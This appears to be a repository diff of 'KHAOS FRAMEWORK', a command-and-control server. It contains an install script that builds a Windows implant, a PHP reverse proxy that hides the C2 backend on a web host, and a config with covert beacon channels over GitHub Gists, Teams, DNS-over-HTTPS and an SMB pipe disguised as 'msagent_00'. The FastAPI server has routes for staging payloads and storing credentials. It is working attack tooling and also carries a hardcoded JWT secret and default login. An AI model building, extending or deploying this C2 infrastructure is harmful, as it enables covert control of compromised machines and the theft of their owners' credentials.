warn() { echo -e "${YLW}[!]${NC} $*"; }
die() { echo -e "${RED}[x]${NC} $*" >&2; exit 1; }
# ── Root check ──────────────────────────────────────────────────────────────
[[ $EUID -eq 0 ]] || die "Run as root: sudo bash install.sh"
# ── Deps ────────────────────────────────────────────────────────────────────
info "Installing system dependencies..."
apt-get update -qq
apt-get install -y --no-install-recommends \
gcc-mingw-w64-x86-64 \
binutils-mingw-w64-x86-64 \
mingw-w64 \
make \
python3 python3-pip python3-venv \
nodejs npm \
openssl \
curl \
git 2>/dev/null
# ── Python server deps ───────────────────────────────────────────────────────
info "Installing Python server dependencies..."
pip3 install -q -r server/requirements.txt
# ── UI build ─────────────────────────────────────────────────────────────────
info "Building UI..."
cd ui
npm ci --silent
npm run build --silent
cd ..
# ── TLS cert ─────────────────────────────────────────────────────────────────
if [[ ! -f server/cert.pem ]]; then
info "Generating self-signed TLS certificate..."
openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -nodes \
-keyout server/cert.key \
-out server/cert.pem \
-subj "/CN=khaos-c2" \
-addext "subjectAltName=IP:127.0.0.1" 2>/dev/null
info "cert.pem + cert.key generated."
else
warn "cert.pem already exists — skipping TLS generation."
fi
# ── Config ───────────────────────────────────────────────────────────────────
if [[ ! -f server/config.yaml ]]; then
cp server/config.example.yaml server/config.yaml
JWT=$(openssl rand -base64 32)
sed -i "s|GENERATE_WITH: openssl rand -base64 32|${JWT}|" server/config.yaml
warn "server/config.yaml created with a random JWT secret."
warn "Edit it to fill in your channel credentials (Teams / Gist / HTTP / DoH)."
else
warn "server/config.yaml already exists — skipping."
fi
# ── Done ─────────────────────────────────────────────────────────────────────
echo ""
echo -e "${GRN}Setup complete.${NC}"
echo ""
echo " Next steps:"
echo " 1. Edit server/config.yaml — add your channel credentials"
echo " 2. python3 server/main.py — start the C2 server"
echo " 3. Open http://localhost:8443 or use the UI Build tab to generate agent.exe"
echo ""
echo " Default login: operator / changeme"
echo " Change via: KHAOS_OPERATOR_USER=x KHAOS_OPERATOR_PASS=y python3 server/main.py"
echo ""
+84
View File
@@ -0,0 +1,84 @@
<?php
/**
* C2 reverse proxy deploy to khaotic.fr webroot (PHP shared hosting).
* Relays /c2proxy.php?p=<path> C2_BACKEND/<path>
*
* Backend: set C2_BACKEND env var in .htaccess, e.g.:
* SetEnv C2_BACKEND https://YOUR_VPS_IP:8443
* Falls back to https://127.0.0.1:8443 (same-host VPS deploy).
*
* Drop in Apache webroot; no mod_proxy / AllowOverride needed.
*/
// Whitelist allowed paths
$path = $_GET['p'] ?? '';
if (!preg_match('/^\/[a-zA-Z0-9\/_\-\.]*$/', $path)) {
http_response_code(400);
header('Content-Type: application/json');
echo json_encode(['error' => 'bad path']);
exit;
}
$backend = rtrim(getenv('C2_BACKEND') ?: 'https://127.0.0.1:8443', '/');
$target = $backend . $path;
// Preserve query string (minus our own 'p' param)
$qs = $_SERVER['QUERY_STRING'] ?? '';
$qs = preg_replace('/(^|&)p=[^&]*/', '', $qs);
$qs = ltrim($qs, '&');
if ($qs !== '') {
$target .= '?' . $qs;
}
$ch = curl_init($target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $_SERVER['REQUEST_METHOD']);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Forward body (POST/PUT/PATCH)
$body = file_get_contents('php://input');
if ($body !== false && $body !== '') {
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
}
// Forward headers
$fwd = [];
if (!empty($_SERVER['CONTENT_TYPE'])) {
$fwd[] = 'Content-Type: ' . $_SERVER['CONTENT_TYPE'];
}
if (!empty($_SERVER['HTTP_AUTHORIZATION'])) {
$fwd[] = 'Authorization: ' . $_SERVER['HTTP_AUTHORIZATION'];
}
if (!empty($fwd)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $fwd);
}
$response = curl_exec($ch);
if ($response === false) {
http_response_code(502);
header('Content-Type: application/json');
echo json_encode(['error' => 'upstream unreachable', 'detail' => curl_error($ch)]);
curl_close($ch);
exit;
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
curl_close($ch);
$resp_headers = substr($response, 0, $header_size);
$resp_body = substr($response, $header_size);
http_response_code($http_code);
foreach (explode("\r\n", $resp_headers) as $line) {
if (stripos($line, 'Content-Type:') === 0) {
header($line);
break;
}
}
echo $resp_body;
+38
View File
@@ -0,0 +1,38 @@
# config.example.yaml
# Copier ce fichier en config.yaml et remplir les valeurs
# Ne JAMAIS committer config.yaml (voir .gitignore)
server:
host: "0.0.0.0"
port: 8443
jwt_secret: "GENERATE_WITH: openssl rand -base64 32"
beacon:
interval: 30
jitter: 0.4
channels:
github:
token: "ghp_YOUR_GITHUB_PAT_WITH_GIST_SCOPE"
gist_cmd: "" # laissez vide = auto-créé au démarrage
gist_out: ""
teams:
tenant_id: "YOUR_TENANT_ID"
client_id: "YOUR_APP_CLIENT_ID"
client_secret: "YOUR_APP_CLIENT_SECRET"
webhook_url: "https://xxx.webhook.office.com/webhookb2/..."
team_id: "TEAMS_TEAM_ID"
channel_id: "TEAMS_CHANNEL_ID"
http:
beacon_url: "https://khaotic.fr/c2proxy.php?p=/beacon"
doh:
server: "https://cloudflare-dns.com/dns-query"
domain: "c2.khaotic.fr"
ionos_api_key: "PREFIX.SECRET"
smb:
host: "" # pivot hostname or IP; empty = SMB channel disabled
pipe: "msagent_00" # named pipe name (no backslash prefix)
+20
View File
@@ -0,0 +1,20 @@
"""
Database session helpers populated by main.py at startup.
Routers import get_db from here so they stay decoupled from engine setup.
"""
from typing import Generator
from sqlalchemy.orm import Session
# Set by main.py after engine creation
SessionLocal = None
def get_db() -> Generator[Session, None, None]:
if SessionLocal is None:
raise RuntimeError("get_db not initialized — is main.py loaded?")
db = SessionLocal()
try:
yield db
finally:
db.close()
+20
View File
@@ -0,0 +1,20 @@
#!/usr/bin/env bash
# Generate self-signed cert for dev / VPS without Let's Encrypt
# For production with a real domain, use:
# certbot certonly --standalone -d your-domain.com
# then symlink: cert.pem -> fullchain.pem, key.pem -> privkey.pem
#
# Usage: ./gen_cert.sh [CN] (default CN = localhost)
CN="${1:-localhost}"
DAYS=365
openssl req -x509 -newkey rsa:4096 -sha256 \
-keyout key.pem \
-out cert.pem \
-days $DAYS \
-nodes \
-subj "/CN=${CN}" \
-addext "subjectAltName=DNS:${CN},IP:127.0.0.1"
echo "[ok] cert.pem / key.pem generated (CN=${CN}, ${DAYS}d)"
+67
View File
@@ -0,0 +1,67 @@
import sys as _sys
block_cipher = None
a = Analysis(
['main.py'],
pathex=['.'],
binaries=[],
datas=[
('config.yaml', '.'),
('khaos.db', '.'),
('routers', 'routers'),
('models', 'models'),
('services', 'services'),
],
hiddenimports=[
'uvicorn', 'uvicorn.logging', 'uvicorn.loops', 'uvicorn.loops.auto',
'uvicorn.loops.asyncio', 'uvicorn.protocols', 'uvicorn.protocols.http',
'uvicorn.protocols.http.auto', 'uvicorn.protocols.http.h11_impl',
'uvicorn.protocols.websockets', 'uvicorn.protocols.websockets.auto',
'uvicorn.protocols.websockets.websockets_impl',
'uvicorn.lifespan', 'uvicorn.lifespan.on', 'uvicorn.lifespan.off',
'uvicorn.config', 'uvicorn.main',
'anyio', 'anyio._backends._asyncio', 'anyio._backends._trio',
'asyncio', 'email.mime.text', 'email.mime.multipart',
'starlette', 'starlette.middleware.cors',
'sqlalchemy.dialects.sqlite', 'sqlalchemy.pool',
'passlib', 'jose', 'jose.jwt',
'cryptography', 'cryptography.hazmat.primitives.hashes',
'multipart', 'python_multipart',
'routers.auth', 'routers.beacon', 'routers.agents',
'routers.tasks', 'routers.build', 'routers.stage', 'routers.creds',
'models.agent', 'models.user',
'services.agent_manager', 'services.channel_reader',
'services.dns_server', 'services.ws_manager', 'services.crypto',
],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False,
)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
exe = EXE(
pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
[],
name='khaos-server',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=False,
upx_exclude=[],
runtime_tmpdir=None,
console=_sys.platform != 'win32', # False sur Windows, True sur Linux
disable_windowed_traceback=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
)
+283
View File
@@ -0,0 +1,283 @@
"""
KHAOS FRAMEWORK Team Server FastAPI
"""
import asyncio
import logging
import os
import shutil
import sys
from contextlib import asynccontextmanager
from fastapi import WebSocket, WebSocketDisconnect
import yaml
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from models.agent import Base
from services.agent_manager import manager as agent_manager
from services.channel_reader import ChannelReader
from services.dns_server import start_dns_server
from routers import auth, beacon, agents, tasks, build, stage, creds
from routers.auth import verify_token_str
from services.ws_manager import ws_manager
# ---- Logging ----
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
)
logger = logging.getLogger("main")
# ---- PyInstaller-aware paths ----
def _data_dir() -> str:
"""Répertoire persistant pour config.yaml et khaos.db."""
if getattr(sys, 'frozen', False):
if os.name == 'nt': # Windows
base = os.environ.get('APPDATA', os.path.expanduser('~'))
else: # Linux / macOS
base = os.environ.get('XDG_DATA_HOME', os.path.join(os.path.expanduser('~'), '.local', 'share'))
d = os.path.join(base, 'KHAOS')
os.makedirs(d, exist_ok=True)
return d
return os.path.dirname(os.path.abspath(__file__))
_DATA_DIR = _data_dir()
# ---- Config ----
CONFIG_PATH = os.path.join(_DATA_DIR, "config.yaml")
# Premier démarrage (bundle) : copie le config.yaml bundlé
if getattr(sys, 'frozen', False) and not os.path.exists(CONFIG_PATH):
_src = os.path.join(sys._MEIPASS, "config.yaml")
if os.path.exists(_src):
shutil.copy2(_src, CONFIG_PATH)
def load_config() -> dict:
try:
with open(CONFIG_PATH) as f:
return yaml.safe_load(f) or {}
except FileNotFoundError:
return {}
config = load_config()
# Inject secrets from env if config values are placeholders
_channels = config.setdefault("channels", {})
_github = _channels.setdefault("github", {})
if len(_github.get("token", "")) < 20:
_github["token"] = os.environ.get("KHAOS_GITHUB_TOKEN", "")
_github["gist_cmd"] = os.environ.get("KHAOS_GIST_CMD", "")
_github["gist_out"] = os.environ.get("KHAOS_GIST_OUT", "")
# Propagate JWT secret
_server = config.get("server", {})
jwt_secret = _server.get("jwt_secret", "/H7GCJcEI3tlCI98tnOrtHUFYOL2VnNVcM2O/amWy7s=")
if jwt_secret == "/H7GCJcEI3tlCI98tnOrtHUFYOL2VnNVcM2O/amWy7s=":
jwt_secret = os.environ.get("KHAOS_JWT_SECRET", jwt_secret)
os.environ.setdefault("KHAOS_JWT_SECRET", jwt_secret)
# ---- Database ----
DB_PATH = os.path.join(_DATA_DIR, "khaos.db")
# Premier démarrage (bundle) : copie le khaos.db bundlé (avec l'user operator pré-créé)
if getattr(sys, 'frozen', False) and not os.path.exists(DB_PATH):
_src_db = os.path.join(sys._MEIPASS, "khaos.db")
if os.path.exists(_src_db):
shutil.copy2(_src_db, DB_PATH)
engine = create_engine(f"sqlite:///{DB_PATH}", connect_args={"check_same_thread": False})
SessionLocal = sessionmaker(bind=engine, autocommit=False, autoflush=False)
Base.metadata.create_all(bind=engine)
# Import Base from all models so tables are created
import models.task # noqa: F401
import models.log # noqa: F401
import models.user # noqa: F401
import models.cred # noqa: F401
Base.metadata.create_all(bind=engine)
with engine.connect() as _conn:
_cols = [r[1] for r in _conn.execute(__import__('sqlalchemy').text("PRAGMA table_info(agents)")).fetchall()]
if "parent_id" not in _cols:
_conn.execute(__import__('sqlalchemy').text("ALTER TABLE agents ADD COLUMN parent_id TEXT DEFAULT ''"))
_conn.commit()
if "ip" not in _cols:
_conn.execute(__import__('sqlalchemy').text("ALTER TABLE agents ADD COLUMN ip TEXT DEFAULT ''"))
_conn.commit()
if "auto_enum_done" not in _cols:
_conn.execute(__import__('sqlalchemy').text("ALTER TABLE agents ADD COLUMN auto_enum_done INTEGER DEFAULT 0"))
_conn.commit()
def _seed_default_admin() -> None:
from models.user import User
db = SessionLocal()
try:
if db.query(User).count() == 0:
uname = os.environ.get("KHAOS_OPERATOR_USER", "operator")
upass = os.environ.get("KHAOS_OPERATOR_PASS", "changeme")
db.add(User(
username=uname,
password_hash=User.hash_password(upass),
role="admin",
is_active=True,
))
db.commit()
logger.info("Seeded default admin: %s", uname)
finally:
db.close()
_seed_default_admin()
def get_db():
db = SessionLocal()
try:
yield db
finally:
db.close()
# Expose SessionLocal so database.get_db can use it
import database as _db_module
_db_module.SessionLocal = SessionLocal
# ---- Channel reader ----
reader = ChannelReader(config, SessionLocal)
# ---- App lifecycle ----
@asynccontextmanager
async def lifespan(app: FastAPI):
# Load existing sessions from DB
db = SessionLocal()
try:
agent_manager.load_from_db(db)
finally:
db.close()
poll_task = asyncio.create_task(reader.run())
beacon_interval = config.get("agent", {}).get("interval", 30)
async def _heartbeat():
from models.agent import Agent as _Agent
from models.log import Log as _Log
from datetime import datetime, timedelta
timeout = max(beacon_interval * 4, 120)
while True:
await asyncio.sleep(60)
try:
db = SessionLocal()
cutoff = datetime.utcnow() - timedelta(seconds=timeout)
stale = db.query(_Agent).filter(
_Agent.is_active == True, # noqa: E712
_Agent.last_seen < cutoff,
).all()
for a in stale:
a.is_active = False
db.add(_Log(agent_id=a.agent_id, event="agent_lost",
detail=f"no beacon for >{timeout}s"))
if stale:
db.commit()
for a in stale:
await ws_manager.broadcast({
"type": "agent_lost",
"agent_id": a.agent_id,
})
logger.info("heartbeat: marked %d agent(s) lost", len(stale))
db.close()
except Exception as _e:
logger.warning("heartbeat error: %s", _e)
heartbeat_task = asyncio.create_task(_heartbeat())
# Start authoritative DNS server if domain is configured
dns_transport = None
doh_cfg = config.get("channels", {}).get("doh", {})
doh_domain = doh_cfg.get("domain", "")
if doh_domain:
try:
dns_transport = await start_dns_server(doh_domain, SessionLocal)
logger.info("DNS server started for %s", doh_domain)
except PermissionError:
logger.warning(
"DNS server: port 53 requires root or cap_net_bind_service — "
"run: sudo setcap cap_net_bind_service+ep $(which python3)"
)
except Exception as e:
logger.warning("DNS server failed to start: %s", e)
logger.info("KHAOS FRAMEWORK Team Server started")
yield
reader.stop()
for t in (poll_task, heartbeat_task):
t.cancel()
try:
await t
except asyncio.CancelledError:
pass
if dns_transport:
dns_transport.close()
# ---- FastAPI app ----
app = FastAPI(
title="KHAOS FRAMEWORK Team Server",
version="1.0.0",
docs_url=None,
redoc_url=None,
lifespan=lifespan,
)
_cors_origins = config.get("server", {}).get("cors_origins", ["*"])
app.add_middleware(
CORSMiddleware,
allow_origins=_cors_origins,
allow_credentials=False,
allow_methods=["GET", "POST", "DELETE"],
allow_headers=["Authorization", "Content-Type"],
)
app.include_router(auth.router)
app.include_router(beacon.router)
app.include_router(tasks.router) # must come before agents.router: /agents/{id}/task etc. must not be shadowed by agents /{agent_id}
app.include_router(agents.router)
app.include_router(build.router)
app.include_router(stage.router)
app.include_router(creds.router)
@app.get("/health")
async def health():
return {"status": "ok"}
@app.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket, token: str = ""):
try:
verify_token_str(token)
except ValueError:
await websocket.close(code=1008)
return
await ws_manager.connect(websocket)
try:
while True:
await websocket.receive_text()
except WebSocketDisconnect:
ws_manager.disconnect(websocket)
except Exception:
ws_manager.disconnect(websocket)
if __name__ == "__main__":
import uvicorn
# En mode frozen sans console, sys.stdout/stderr sont None
# → redirige vers un fichier log dans %APPDATA%\KHAOS\
if getattr(sys, 'frozen', False):
_log_path = os.path.join(_DATA_DIR, "server.log")
_log_file = open(_log_path, "a", buffering=1)
sys.stdout = _log_file
sys.stderr = _log_file
uvicorn.run(app, host="0.0.0.0", port=8000, log_level="warning", log_config=None)
View File

Some files were not shown because too many files have changed in this diff Show More